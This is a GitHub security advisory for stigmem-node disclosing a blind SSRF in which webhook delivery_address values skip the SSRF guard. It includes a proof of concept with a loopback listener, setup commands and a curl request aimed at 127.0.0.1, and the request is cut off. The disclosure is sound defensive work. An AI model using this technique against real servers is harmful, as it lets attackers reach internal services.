GHSA-5p3m-vhh6-9236
stigmem-node has blind SSRF via unvalidated webhook subscription delivery_address
Summary
### Summary Stigmem allows an authenticated user to create a webhook subscription with a user-controlled `delivery_address`. That value is stored and later used directly by the subscription delivery worker as the destination of a server-side HTTP POST request. The codebase already contains an outbound SSRF guard, `assert_safe_url()`, which blocks loopback, private, link-local, and metadata-style destinations. However, the subscription webhook delivery path does not appear to apply this guard either when the subscription is created or immediately before delivery. As a result, an authenticated user can configure a webhook destination such as `http://127.0.0.1:9999/ssrf`, trigger a matching fact-change event, and cause the Stigmem server to issue a server-side HTTP request to an internal loopback address. ### Details Relevant files: ```text node/src/stigmem_node/routes/subscriptions.py node/src/stigmem_node/subscription_delivery.py node/src/stigmem_node/models/subscriptions.py node/src/stigmem_node/utility/net_util.py SubscriptionCreateRequest accepts delivery_address as a plain string and validates only that it has a minimum length: class SubscriptionCreateRequest(BaseModel): target: str = Field(..., min_length=1) on_change: str = Field(...) delivery_address: str = Field(..., min_length=1) The create route persists this value directly: conn.execute( """INSERT INTO subscriptions (id, subscriber_identity, target, target_kind, on_change, delivery_address, idempotency_key, created_at, tenant_id) VALUES (?,?,?,?,?,?,?,?,?)""", ( sub_id, identity.entity_uri, req.target, target_kind, req.on_change, req.delivery_address, req.idempotency_key, now, identity.tenant_id, ), ) The delivery worker later sends a server-side request to the stored value: with httpx.Client(timeout=10.0) as client: resp = client.post( event["delivery_address"], json=body, headers={ "Content-Type": "application/json", "X-Stigmem-Event-Id": event["id"], }, ) The codebase already has an SSRF guard in node/src/stigmem_node/utility/net_util.py: def assert_safe_url( url: str, *, allow_schemes: frozenset[str] = frozenset({"https"}), ) -> None: This guard blocks private, loopback, link-local, and metadata-style ranges, including 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, and 169.254.0.0/16. However, I did not observe assert_safe_url() being called for subscription delivery_address during subscription creation or before webhook delivery. PoC Tested against stigmem-node 0.9.0a10. Start an internal listener on the same host: const http = require("http"); http.createServer((req, res) => { console.log("HIT:", req.method, req.url); console.log("HEADERS:", req.headers); let body = ""; req.on("data", chunk => body += chunk); req.on("end", () => { console.log("BODY:", body); res.writeHead(200, { "Content-Type": "application/json" }); res.end(JSON.stringify({ ok: true, internal: true })); }); }).listen(9999, "127.0.0.1", () => { console.log("Listening on http://127.0.0.1:9999"); }); Start Stigmem locally: cd node pip install -e . export STIGMEM_DB_PATH="$(pwd)/ssrf-test.db" export STIGMEM_AUTH_REQUIRED=true export STIGMEM_HOST=127.0.0.1 export STIGMEM_PORT=8765 export STIGMEM_SUBSCRIPTION_DELIVERY_SWEEP_S=1 export KEY=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa stigmem auth bootstrap-key --key "$KEY" stigmem-node Confirm the service is running: curl -i http://127.0.0.1:8765/healthz Response: HTTP/1.1 200 OK {"status":"ok"} Create a webhook subscription whose delivery_address points to loopback: curl -i -X POST "http://127.0.0.1:8765/v1/subscriptions" \ -H "Authorization: Bearer $KEY" \ -H "Content-Type: application/json" \ -d '{ "target": "local", "on_change": "webhook", "delivery_address": "http://127.0.0.1:9999/ssrf",
Affected packages
| Ecosystem | Package | Affected versions | Fixed versions |
|---|---|---|---|
| PyPI | stigmem-node | — | 0.9.0a11 |
Remediation: Upgrade to 0.9.0a11 or later.
References
Includes data from the GitHub Advisory Database, licensed under CC-BY 4.0.